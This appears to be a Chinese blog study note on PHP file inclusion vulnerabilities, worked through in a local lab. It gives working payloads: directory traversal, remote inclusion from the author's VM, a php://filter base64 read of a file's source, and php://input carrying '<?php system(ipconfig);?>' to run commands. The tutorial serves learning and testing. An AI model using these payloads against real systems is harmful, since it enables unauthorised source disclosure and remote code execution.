WEB漏洞—文件操作之文件包含漏洞

文件包含原理 

----传递一个参数(可以是一个文件),然后PHP脚本包含这个文件,则无论这个文件是什么格式,访问PHP脚本,传递参数的文件都能以PHP格式执行。

本地文件包含测试 

#本地创建一个1.php和shell.txt,代码如下

#访问PHP脚本并且传递1.txt文件为参数,发现txt里的内容以php代码执行

#单纯访问shell.txt

本地文件包含代码测试-原理

1.无限制夸目录(运行D盘目录下的文件)

http://127.0.0.1/1.php?filename=../../1.txt

2.有限制的文件包含

#脚本代码(filename脚本后面包含的文件后缀名增加了一个HTML)

#传入shell.txt文件参数(执行失败,因为在当前目录不存在shell.txt.html文件)

绕过方式

1.%00截断

----magic_quotes_gpc=off

----php版本<5.3.4 

#这里不知道为啥不能截断,看弹幕说这里已经不行了,所以放弃了

2.长度截断

---windows中点号需要长于256位(文件命名),Linux中点号需要长于4096位

#这里也不行了,所以直接放弃

远程文件包含代码测试-原理

1.  在phpinfo中查看是否可以远程文件包含(这里allow_url_include已经打开了)

2.  外网服务器上设置一个脚本(这里用的是虚拟机)

3.  访问远程文件

http://127.0.0.1/1.php?filename=http://192.168.174.128/1.txt

4.若远程存在过滤的情况(直接访问报错)

可以加 ? %20 %23

协议玩法

https://www.cnblogs.com/endust/p/11804767.html

php支持的伪协议

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流expect:// — 处理交互式的流

 php协议读取1.txt文件的源码(注意:PHP协议只能在PHP脚本适用)

127.0.0.1/1.php?filename=php://filter/read=convert.base64-encode/resource=shell.txt

---原理:在文件输入之前先过滤,读取过滤器内的内容,其中resource为要过滤的数据流。

--- base64加密原因:有时候读取由于编码方式的不同造成乱码,这里加密后,就不会乱码

#解密

以PHP格式执行文件

---- http://127.0.0.1/1.php?filename=php://input

----post提交数据:<?php system(ipconfig);?>

----原理:php://input可以读取没有处理过的POST数据。相较于$HTTP_RAW_POST_DATA而言,它给内存带来的压力较小,并且不需要特殊的php.ini设置。php://input不能用于enctype=multipart/form-data

#这里换了渗透版的火狐可以post请求,普通版的不知道为啥不行。。。

 

 

 

 

 

 

 

 


__EOF__

本文作者执小汐
本文链接https://www.cnblogs.com/Zx0906/p/17577112.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   执小汐  阅读(31)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 25岁的心里话
· 闲置电脑爆改个人服务器(超详细) #公网映射 #Vmware虚拟网络编辑器
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 零经验选手,Compose 一天开发一款小游戏!
· 一起来玩mcp_server_sqlite,让AI帮你做增删改查!!
点击右上角即可分享
微信分享提示